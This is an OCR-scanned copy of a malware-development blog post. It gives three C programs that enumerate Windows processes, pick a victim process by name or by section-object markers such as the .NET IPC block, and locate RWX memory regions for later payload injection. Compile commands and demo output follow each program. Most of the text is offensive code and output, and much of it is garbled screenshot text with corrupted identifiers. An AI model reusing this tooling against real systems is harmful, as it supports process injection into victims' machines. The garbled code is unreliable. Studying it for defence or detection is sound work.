Malware development trick 38: Hunting RWX - part 2.
Target process investigation tricks. Simple C/C++

example.

@ cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html

9 minute read

Hello, cybersecurity enthusiasts and white hackers!

lstrcmpiA(procname, PathFindFileNameA (procName))

UNICODE STRING sName;
OBJECT_ATTRIBUTES oa;
HANDLE sHandle NULL;

WCHAR objPath[]
sName.Buffer

sName.Length - wcslen(ob
sName .MaximumLength sN

InitializeObjectAttribut
NTSTATUS status
(NT_SUCCESS (status) )
CloseHandle(sHandle);

current;

int findRWX(HANDLE h) {

MEMORY BASIC INFORMATION mbi
LPVOID addr - 0;

(VirtualQueryEx(h, add

addr LPVOID) ( (DWORD_PTR

mbi.Protect
mhi State

PAGE_EXI|
MFM (COMM
@ ®0A0

L"\\Sessions\\
(PWSTR)obFm=**-

myNtOp

\\BaseNamedObjects\\UrlZonesSM_ testl";

file Machine View Input Devices Help

3PS 7:\2024-05-81-malware-trick-38>
process found at pid = 6028
found RWX memory: ©x7c60000 -

-
Hacker View Tools Users Help
% Refresh 33 Options | # Find handles or DLLs 3¢ Syst

Processes Services Network Disk

Name
WA VBoxTray.exe
& OneDrive.exe
~ X powershell exe
[ conhost.exe
18 ProcessHacker.exe
[E] svchost.exe
[ svchost.exe
[W] svchost.exe

[®] StartMenuExperienceHost.exe
[] RuntimeBroker.exe

[ svchost.exe

[] RuntimeBroker.exe

[E] dilhost.exe

& Searchindexer.exe

[ RuntimeBroker.exe

PS 7:\2024-05-01-malware-trick-38>

18 Hice unnamed handies

wint1-en-us[Running] - Oracle VM VirtualBox

.\hack3.exe OneDrive.exe

65536 bytes region

@ OneDrive.exe (6028) Properties

General Statistics Performance Threads Token Modues Memory Environment Handies

GPU  Comment

May 1, 2024

Type
File

Fie

Fie

Event
Drectory
Directory
Drectory
ALPCPort
Directory
Mutant
Mutant
Mutant
Semaphore
Mutant
Semaphore
Section
Section
Section
Section
Section
Mutant
Mutant
Section

Name -

\Device\KsecDD

\pevicalsi

\FileS ystemFilters Fltvigrivsg
\KernelObjects\MaximumCommitCondition

\KnownDls

\KnownDIs32

\knownDls32

\RPC Control|OLE75CCSD S5F DBA4CT34CD 143A3E36
\Sessions\1'BaseNamedObjects

\Sessions\1
\Sessions\1\BaseNamedObjects\OneDrive_Networklock
\sessions\1|BaseNamedObjects\SMD:5028: 168:WiStaging_02
\Sessions\1|BaseNamedObjects\SMD:5025: 168:WiStaging_02_pd
\Sessions\1\BaseNamedObjects\SM0:5028:64:WilError_03
\Sessions\1\BaseNamedObjects\SM0:6028:64:WilError_03_pD
\sessions\1'BaseNamedObjects\UriZonesSM_test1
\sessions\1|BaseNamedObjects\nindows ie_global_counters
\Sessions\1|BaseNamedObjects\nindows _ie_global_counters
\Sessions\1'BaseNemedObjects\windows_shell_global_counters
\Sessions\1\BaseNamedObjects\windows_webcache_counters_{SB6A...
\Sessions\1\BaseNamedObjects\ZonesCacheCounterMutex
\sessions\1|BaseNamedObjects\Zonesl ockedCacheCounterMutex
\Sessions\1\Wind

\Themed 12040610

Handle
0x2e8
oada
Ocded
0300
03
0x50
084
0374
0180

. 0x920

Oxgec
ox2ac
0298
0274
0x278
OxEb4
ox@bo
Odat
0x268
0644
oxgbe
ox6ea
[

In one of my previous posts, | described a process injection method using RWX-memory

searching logic. Today, | will apply the same logic, but with a new trick.

As you remember, the method is simple: we enumerate the presently running target

processes on the victim’s system, scan through their allocated memory blocks to see if any
are protected with RWX, and then write our payload to this memory block.

practical example

Today | will use a little bit different trick. Let’s say we are search specific process in the
victim’s machine (for injection or for something else).
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https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
https://cocomelonc.github.io/tutorial/2022/02/01/malware-injection-16.html

Let’s go to use a separate function for hunting RWX-memory region from the victim process,
something like this:

int findRWX(HANDLE h) {

MEMORY_BASIC_INFORMATION mbi = {3};
LPVOID addr = 0;

// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE

&& mbi.State == MEM_COMMIT

&& mbi.Type == MEM_PRIVATE)

printf("found RWX memory: Ox%Xx - %#71lu bytes region\n", mbi.BaseAddress,
mbi.RegionSize);

}

return 0;

Also a little bit update for our main logic: first of all, we are search specific process’ handle by
it's name:
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typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
)

int findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function address
fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess)
GetProcAddress(GetModuleHandle("ntd1l1l.d11"), "NtGetNextProcess");

// loop through all processes

while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, O, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (1lstrcmpiA(procname, PathFindFileName( (LPCSTR) procName)) == 0) {

pid = GetProcessId(current);
break;

return current;

As you can see, we use NtGetNextProcess API for enumerating processes.

So the final source code is looks like this (hack.c):
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https://cocomelonc.github.io/malware/2023/05/26/malware-tricks-30.html

/*
* hack.c - hunting RWX memory
* @cocomelonc

* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html

*/

#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle

)

int findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function address
fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess)
GetProcAddress(GetModuleHandle("ntdl1l.d11"), "NtGetNextProcess");

// loop through all processes

while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, O, &current)) {

GetProcessImageFileNameA(current, procName, MAX_PATH);

if (1lstrcmpiA(procname, PathFindFileName( (LPCSTR) procName)) == 0) {

pid = GetProcessId(current);
break;

return current;

int findRWX(HANDLE h) {

MEMORY_BASIC_INFORMATION mbi = {};
LPVOID addr = 0;

// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

// look for RWX memory regions which are not backed by an image
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if (mbi.Protect == PAGE_EXECUTE_READWRITE
&8 mbi.State == MEM_COMMIT
&8 mbi.Type == MEM_PRIVATE)

printf("found RWX memory: Ox%Xx - %#71lu bytes region\n", mbi.BaseAddress,
mbi.RegionSize);

}

return 0;

int main(int argc, char* argv[]) {

char procNameTemp[MAX_PATH];

HANDLE h = NULL;

int pid = 0

h = findMyProc(argv[1]);

if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);

pid = GetProcessId(h);

printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ",
pid);

findRWX(h);

CloseHandle(h);

return 0;

demo

Let’s go to see everything in action. Compile our malware source code:

x86_64-w64-mingw32-g++ hack.c -0 hack.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive -w -lpsapi -lshlwapi

)- ~/hack1ng/cybersec b10g/meow/2024-05 01-ma1ware tr1ck 38

)-[~/hacking/cybersec_blog/meow/2024-05-01-malware-trick-38]

-rwxr-xr-x 1 cocomelonc cocomelonc 41472 May 1 01:46 hack.exe
-rw-r--r-- 1 cocomelonc cocomelonc 1936 May 1 01:39 hack.c

And run it at the victim’s machine (Windows 11 x64 in my case):
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win11-en-us [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

EX Windows PowerShell - [m] -
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWinpes
dows '

PS C:\Users\zhzhu> cd Z:\2024-05-01-malware-trick-38\
PS Z:\2024-05-01-malware-trick-38> .\hack.exe powershell.exe
process found at pid = 3156
RWX memory: ©x53f90000 4096 bytes region
RWX memory: ©x53fceeee 8192 bytes region
RWX memory: ©x6c190000 32768 bytes region
RWX memory: ©x811beoee 4096 bytes region
RWX memory: ©x811c0000 4096 bytes region
RWX memory: ©x811de0ee 4096 bytes region
RWX memory: oxff553000 4096 bytes region
RWX memory: oxff55deee 12288 bytes region o
RWX memory: exff57boee 4096 bytes region
RWX memory: oxff57deee 4096 bytes region
RWX memory: oxff5aceee 8192 bytes region
RWX memory: oxfféecoee 53248 bytes region
RWX memory: oxff636000 73728 bytes region
RWX memory: oxff670000 331776 bytes region
RWX memory: oxff710000 4096 bytes region
RWX memory: oxff720000 24576 bytes region
RWX memory: oxff740000 20480 bytes region
PS Z:\2024-05-01-malware-trick-38> _

3:35PM

B O @@ g A = 8 d1) Wednesday [

5/1/2024

o & ] = i Gl & (& Right Ctrl

Try on another target process, for example OneDrive.exe:
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P'-C+’\’-4- nArCe CVE/SIITE DEARLIDTTE
win11-en-us [Running] - Oracle VM VirtualBox

File Machine view Input Devices Help

BPS Z:\2024-05-01-malware-trick-38> .\hack.exe OneDrive.exe
process found at pid = 6028
found RWX memory: @x7c6000@ - 65536 bytes region
PS Z:\2024-05-01-malware-trick-38>

@ OneDrive.exe (5028) Properties

Handles GPU Disk and Network Comment
General Statistics Performance Threads Token Modules Memory Environment

Hacker View Tools Users Help 8 e free regions Stigs... || Refiesh
’}Raﬁesh &+ Options | #8 Find handles or DLI

Processes Services Network Disk

Base address Type Protect...
> 0x74e0000 Mapped R
> Ox74f0000 Mapped R
Q MicrosoftEdgelpdate.exe > Dx7500000 Mapped R
E ctfmon.exe > 0x7510000 Private " R Heap segment 32-bit {ID 1)
v = explorer.exe > 07610000 Private " R Stack 32-bit {thread 6072)
& SecurityHealthSystray.exe » 0x7710000 Mapped R
8 VBoxTray.exe > 0x7800000 Private RW Heap 32-bit (ID 4)
> 0x7810000 Mapped R
> 0x7820000 Image . WCX CiWsers\zhzhulAppDataiLocalMicr ...
> Ox7be0000 Image R C:Wsers\zhzhuAppDataiLocalWicr ...
& msedge.exe > Ox7ba0000 Image wex C:\Users\zhzhuAppDataiLocal Wicr ..
& msedge.exe > Ox7be0000 Frivate R
& msedge.exe > Ox7bf0000 Private RW
# OneDrive.exe » 0x7c00000 Private RW
v E¥ powershell.exe » 0x7c10000 Private RW
B conhost.exe » 0x7c20000 Private R
s T » 0x7c30000 Private RW
> i
[ svchost.exe gxz::ﬁggg :Wﬂi 5“ @
[ svchost.exe

# Dx7ce0000 Private RWX ]

Name

v & msedge.exe
& msedge.exe

[ svchost.exe T /e 70000 Frivate TOSE "W Heap segment {ID 1)
> 0x7d70000

[ StartMenuExperienceHost.exe
[®7] RuntimeBroker.exe
[ svchost.exe

1:40 AM

.‘ D B - P BN m A WD) Thusday [

5/2/2024

&P & 0 & il @] @ @ right cerl

Our logic is worked, RWX-memory successfully founded!

As you can see, everything is worked perfectly! =*..A=

practical example 2

But there are the caveats. Sometimes we need to know is this process is . NET process or
Java or something else (is it really oneDrive.exe process)?

For .NET process we need interesting trick, if we open powershell.exe via Process Hacker
2:
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24-05-01-malware-trick-38> tasklist /m

¥ powershell.exe (3136) Properties

Statistics Threads Token Modules

.MET performance GPU

General Performance

Handles .NET assemblies

B Hide unnamed handles

Memory

[m] X

Environment
Comment

Type Mame

Section V... \Cor_SxSPublic_IPCBlock

Section \BaseMamedObjects\Cor_Private_IPCBlock_v4_3156
Event \BaseMamedObjects\CPFATE_3156_v4.0.30319
Event \BaseMamedObjects\MpSvcEvent-95BE34DF -7 1CF-7A26-BESF-7E7BS. ..
Section \BaseMamedObjectswindows_shell_global_counters
Section \BaseMamedObjects__ComCatalogCache__
Section \BaseMamedObjects_ComCatalogCache__
Desktop Default

File Device\CNG

File \Device\ConDry

File \Device\ConDry

File Device\ConDry

File Device\ConDry

File \Device\ConDry

File Device\ConDry

File \Device\ConDry

File \Device\ConDry

File \Device \DeviceApi

File \Device KsecDD

File \DeviceKsecDD

File \Device\VBoxGuest

File \DeviceMamedPipe \PSHost. 133590834506696025. 3156, DefaultAppD...

Handle
Ox448
Ox444
0x510
0x928
0x230
Ox 168
0x173
Oxb4

Ox15c
Oxdc

0x50

0x5c

0x60

0x79c
0x328
Oxald
Oxa3c
0x250
0x3cB
Ox51c
0x7b4
0x874

swchost.exe 5008
MisSrv.exe 4460
= .

Close

DESKTOP-26FOMO Chtes

Search Processes (Ctrl+K)

Jescription

Aicrosoft Edge

Aicrosoft Edge

Aicrosoft Edge

Aicrosoft Edge

Aicrosoft Edge

Aicrosoft OneDrive

Windows PowerShell

“onscle Window Host

'rocess Hacker

{ost Process for Windows Ser...
{ost Process for Windows Ser...

1ost Process for Windows Ser...

tuntime Broker
{ost Process for Windows Ser...
tuntime Broker
JOM Surrogate
Aicrosoft Windows Search In...

{untime Broker
Host Process for Windows Ser...
Microsoft Network Realtime |...

CPU Usage: 4.44%  Physical memory: 1.33 GB (67.71%5) Processes: 91

HOoOmwweow

A~ T )

As you can see, in the Handles tab we can find interesting section with name

\BaseNamedObjects\Cor_Private_ IPCBlock_v4_<PID>" in our case PID = 3156, so our

string is equal \BaseNamedObjects\\Cor_Private_IPCBlock_v4_3156.

So, let’s update our function findMyProc, like this:
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HANDLE findMyProc(const char * procname) {

int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function addresses
fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t)

GetProcAddress(GetModuleHandle("ntd1l1l.d11"), "NtGetNextProcess");

fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t)

GetProcAddress(GetModuleHandle("ntdll.d11"), "NtOpenSection");

// loop through all processes

while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {

pid = GetProcessId(current);

// Check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
UNICODE_STRING sName;
OBJECT_ATTRIBUTES oa;
HANDLE sHandle = NULL;
WCHAR procNumber[32];

WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
sName.Buffer = (PWSTR) malloc(500);

// convert INT to WCHAR
swprintf_s(procNumber, L"%d", pid);

// and fill out UNICODE_STRING structure
ZeroMemory(sName.Buffer, 500);
memcpy (sName.Buffer, objPath, wcslen(objPath) * 2); // add section name

"prefix"

StringCchCatW(sName.Buffer, 500, procNumber); // and append with process
ID

sName.Length = wcslen(sName.Buffer) * 2; // finally, adjust the string size

sName .MaximumLength = sName.Length + 1;

InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {

CloseHandle(sHandle);

break;

return current;

Just convert process id int to UNICODE STRING and concat, then try to find section logic.
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Here, Ntopensection APl use for opens a handle for an existing section object:

typedef NTSTATUS (NTAPI * fNtOpenSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes

)

So, the full source code for this logic (finding . NET processes in the victim’s system) looks
like this:
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/*
* hack2.c - hunting RWX memory
* detect .NET process
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle

)

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes

)i

HANDLE findMyProc(const char * procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function addresses

fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t)
GetProcAddress(GetModuleHandle("ntdl1l.d11"), "NtGetNextProcess");

fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t)
GetProcAddress(GetModuleHandle("ntd1l1l.d11"), "NtOpenSection");

// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, O, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (1lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
pid = GetProcessId(current);

// check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
UNICODE_STRING sName;
OBJECT_ATTRIBUTES oa;
HANDLE sHandle = NULL;
WCHAR procNumber[32];

WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
sName.Buffer = (PWSTR) malloc(500);
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// convert INT to WCHAR
swprintf_s(procNumber, L"%d", pid);

// and fill out UNICODE_STRING structure
ZeroMemory(sName.Buffer, 500);
memcpy (sName.Buffer, objPath, wcslen(objPath) * 2); // add section name

"prefix"

StringCchCatW(sName.Buffer, 500, procNumber); // and append with process
ID
sName.Length = wcslen(sName.Buffer) * 2; // finally, adjust the string size
sName .MaximumLength = sName.Length + 1;
InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {
CloseHandle(sHandle);
break;
}
}
}

return current;

int findRWX(HANDLE h) {

MEMORY_BASIC_INFORMATION mbi = {3};
LPVOID addr = 0;

// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE

&& mbi.State == MEM_COMMIT

&& mbi.Type == MEM_PRIVATE)

printf("found RWX memory: Ox%X - %#71lu bytes region\n", mbi.BaseAddress,
mbi.RegionSize);

}

return 0;

int main(int argc, char* argv[]) {
char procNameTemp[MAX_PATH];
HANDLE h = NULL;
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int pid = 0;

h = findMyProc(argv([1]);

if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);

pid = GetProcessId(h);

printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ",
pid);

findRwWX(h);

CloseHandle(h);

return 0;

}

demo 2

Let’s go to see second example in action. Compile it:

x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

$ x86_64-wb4-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/1
nclude/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-e
xceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermi
ssive -lpsapi -lshlwapi -w

$ 1s -1t
total 108
~TWXTWXT-X cocomelonc cocomelonc 56832 May 2 13:07
-rw-r--r-- cocomelonc cocomelonc 3233 May 2 13:02 hack2.c
~TWXI-XT-X cocomelonc cocomelonc 41472 Apr 30 22:46
-rw-r--r-- cocomelonc cocomelonc 1936 Apr 30 22:39 hack.c

Then just run it. Check on powershell.exe:

.\hack2.exe powershell.exe
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WCHAR objPath[]

swprintf s(pi

aseNamedObjects\\Cor_Private_ IPCBlock_v4_";
sName.Buffer (PWSTR) malloc(500);

EX Windows PowerShell

WPS Z:\2024-05-81-malware-trick-38> .\hack2.exe powershell.exe

ZeroMemory (slprocess found at

memcpy (sName
StringCchCat)
sName.Length
sName . Maximur

InitializeOb s
NTSTATUS staf
(NT_SUCCE
CloseHandl4

current;

RWX
RWX
RWX
RWX
RWX
RWX
RWX
RWX
RWX
RWX
RWX
RWX
RWX
RWX
RWX
RWX
RWX

memory.:
memory:
memory:
memory:
memory:
memory:
memory:
memory:
memory:
memory.:
memory:
memory.:
memory:
memory:
memory:
memory:
memory:

win11-en-us [Runningl - Oracle VM VirtualBox

File Machine View Input Devices Help

pid = 3156

0x53f90000 4096
0x53fce000 8192
9X6c190000 32768
0x811be000 4096
0x811c0000 4096
0x811d0000 4096
exff553000 4096
oxff55deeo 12288
exff57beee 4096
exff57deee 4096
exff5aceeo 8192
exffeaceee 53248
oxff636000 77824
oxff670000 - 339968
oxff710000 4096
exff720000 24576
oxff74ee000 - 32768

PS Z:\2024-05-@1-malware-trick-38>

int findRWX(HANDLE

process not found. pid = @

MEMORY_BASIC_ INF(
LPVOID addr CH

Now, second practical example worked as expected! Great! =*..A=

practical example 3

PS Z:\2@24-85-01-malware-trick-38>

LM

bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes

region
region
region
region
region
region
region
region
region
region
region
region
region
region
region
region
region

PS Z:\2024-05-81-malware-trick-38> .\hack2.exe OneDrive.exe

3:09 AM
At 1 dY) Thusday (]
5/2/2024

B o8 8@ © right crl

Ok, so what about previous question?

How we can check if the victim process is really oneDrive.exe process? It’s just in case, for

example.

Let’'s check oneDrive.exe process properties via Process Hacker 2:
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win11-en-us [Running] - Oracle VM VirtualBox

File Machine Wiew Input Devices Help

an @ OneDrive.exe (6028) Properties - (] *
S F General Statistics Performance Threads Token Modules Memory Environment Handles gpu Comment Drlve . eXe
i Hide unnamed handles
he =
Type Mame Handle
Event \KernelObjects\MaximumCommitCondition 0x300
Directory \KnownDlls 0x3c
1 Directory \nownDlls32 0x50
= Directory \KnownDlls32 0x84 Search Pracesses (Ctrl+K)
ALPC Port \RPC Control\OLE75CCID55F4D8A4CTI4CD149A3E36 0x374 —
Directory \Sessions!\1\BaseNamedObjects 0x180
Mutant \Sessions'\1\BaseNamedCbjects\| BrowserEmulation! SharedMemory!M...  0x%a0 ne Description
- Mutant \Sessions|1\BaseMamedChjects|OneDrive_MetworkLock Oxdec 3 26FOMOChtes  Microsoft Edge
10 Mutant \Sessions'\1\BaseNamedObjects\SM0:6028: 165: WilStaging_02 0x2ac
) . e 3-26FOMOC\tes  Microsoft Edge
bs F: Semaphore \Sessions|1\BaseMamedCbjects\SM0:6025: 168: WilStaging_02_p0 0x295 B aioc o .
Mutant \Sessions\1\BaseNamedOhjects\SMO:5028:54: WilError_03 0x274 -26FQMOChtes  Microsoft Edge
Semaphore \Sessions'\1\BaseMamedObjects\SM0:6028:64: WilError_03_p0 0x278 2-26FOMOC\tes  Microsoft Edge
1 Section \Sessions\1\BaseNamedObjects\UrlZonessM_test1 Oxeb4q 2-26FOMOC\tes  Microsoft Edge
a Section \Sessions|1\BaseMamedObjects windows_ie_global _counters 0x8b0 8-26FOMOCtes  Microsoft OneDrive
Section \Sessions!1\BaseMamedCbjects\windows_ie_global_counters 0x9a4 3-26FQMOCtes  Windows PowerShell
Section \Sessions'\1\BaseMNamedObjects\windows_shell_global_counters 0x263 3-26FQMOChtes  Console Window Host
Section \‘Sass?uns‘\1\EasENamE:OI;]:Eds\winduws_d':\'ebcadﬂe_cuunters_{QBSA. . Dxﬁg‘} 3.26FQMOC\tes  Process Hacker
'LE Mutant \Sessions!1\BaseNamedCbjects\ZonesCacheCounterMutex Ox6bc Host Process for Windows Ser...
Mutant \Sessions|\1\BaseMamedObjects\ZonesLockedCacheCounterMutex 0x6cd Host P for Wind 5
Section \Sessions\1\Windows\Theme 912040610 Ox4fc TR W E el S
| .
re WindowStation \Sessions\1\Windows\WindowStations\Winsta0 Oxed 26FOMOCtes  Host Process for Windows Ser...
€ WindowStation \Sessions'\1\Windows\WindowStations\Winsta0 Oxed
Section \Windows\Theme 2258508255 0x500 2-26FOMOC\tes
3-26FOMOC\tes  Runtime Broker
1 3-26FOMOC\tes  Host Process for Windows Ser...
e« Close 2-26FOMOChtes  Runtime Broker

dllhost.exe 2308 578 MB DESKTOP-26FOMOC\tes COM Surrogate
8, Searchindexer.exe 4416 15.78 MB Microsoft Windows Search In...

RuntimeBroker.exe 545MB DESKTOP-26FOMOC\tes Runtime Broker
swchost.exe 5008 2,07 MB  DESKTOP-26FQMOChtes  Host Process for Windows Ser...
[ NisSrv.exe 4460 343 ME Microsoft Network Realtime I...

CPU Usage: 5.97% Physical memory: 1.44 GB (72.11%) Processes: 93

As you can see we can use the same trick: check section by it's name:

\Sessions\1\BaseNamedObjects\UrlzonessSM_ test1. Of course, | could be wrong and the
presence of this string does not guarantee that this is onebdrive.exe process. | just want to
show that you can examine any process and try to find some indicators in the section names.

So, | updated my function again and full source code of my third example (hack3.c):
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/*
* hack.c - hunting RWX memory
* @cocomelonc
* https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle

)

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes

);

HANDLE findMyProc(const char *procname) {
HANDLE current = NULL;
char procName[MAX_PATH];

// resolve function addresses

fNtGetNextProcess_t myNtGetNextProcess =
(fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdl1l.d11"),
"NtGetNextProcess");

fNtOpenSection_t myNtOpenSection =
(fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.d11"), "NtOpenSection");

// loop through all processes
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
if (1lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
// check for "\Sessions\1\BaseNamedObjects\UrlZonesSM_testl" section
UNICODE_STRING sName;
OBJECT_ATTRIBUTES oa;
HANDLE sHandle = NULL;

WCHAR objPath[] = L"\\Sessions\\1\\BaseNamedObjects\\UrlZonesSM_test1";
sName.Buffer = (PWSTR)objPath;

sName.Length = wcslen(objPath) * sizeof(WCHAR);

sName .MaximumLength = sName.Length + sizeof (WCHAR);

InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);



NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
if (NT_SUCCESS(status)) {
CloseHandle(sHandle);
break;
}
}
}

return current;

int findRWX(HANDLE h) {

MEMORY_BASIC_INFORMATION mbi = {};
LPVOID addr = 0;

// query remote process memory information
while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

// look for RWX memory regions which are not backed by an image
if (mbi.Protect == PAGE_EXECUTE_READWRITE

&& mbi.State == MEM_COMMIT

&& mbi.Type == MEM_PRIVATE)

printf("found RWX memory: Ox%X - %#71lu bytes region\n", mbi.BaseAddress,
mbi.RegionSize);

}

return 0;

int main(int argc, char* argv[]) {

char procNameTemp[MAX_PATH];

HANDLE h = NULL;

int pid = 0;

h = findMyProc(argv[1]);

if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);

pid = GetProcessId(h);

printf("%s%d\n", pid > @ ? "process found at pid = " : "process not found. pid =",
pid);

findRwWX(h);

CloseHandle(h);

return 0;

As you can see, the logic is simple: check section name and try to open it.

demo 3

Let’s go to see third example in action. Compile it:
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x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -1lshlwapi -w

$ x86_64-wb4-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/1i

. .nclude/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-e
xceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermi
;ssive -lpsapi -lshlwapi

-1 $ 1s -1t
+total 156
r—rwWXrwxr-x
n-rw-r--r--
n-rw-r--r--
n—-rw-rw-r--
M- PWXTWXT-X
N-rwXr-xr-x

I

f $ I

cocomelonc
cocomelonc
cocomelonc
cocomelonc
cocomelonc
cocomelonc

-W

cocomelonc
cocomelonc
cocomelonc
cocomelonc
cocomelonc
cocomelonc

Then, run it on the victim’s machine:

.\hack3.exe OneDrive.exe

WCHAR objPath[]
sName.Buffer
sName.Lenath

sName. I

Initial

NTSTATUSIbS 7:\2024-
(NT &

t findRWX(H

MEMORY BAS]

Hacker View Tools Users
% Refresh {3 Options | &

Processes  Services  Networlc

13:50

13:29 hack.c
13:29 hack2.c
13:28 hack3.c
13:07

22:46

L" essions\\1\\BaseNamedObjects\\UrlZonesSM testl"

(PWSTR)objPath;
wcslen(obhiPath)

(WCHAR) -
win11-en-us [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

@ OneDrive.exe (6028) Properties

65536 bytes region

05-01-malware-trick-38> .\hack3.exe OneDrive.exe
process found at pid = 6028
found RWX memory: @x7c60000
PS 7Z:\2024-05-01-malware-trick-38>

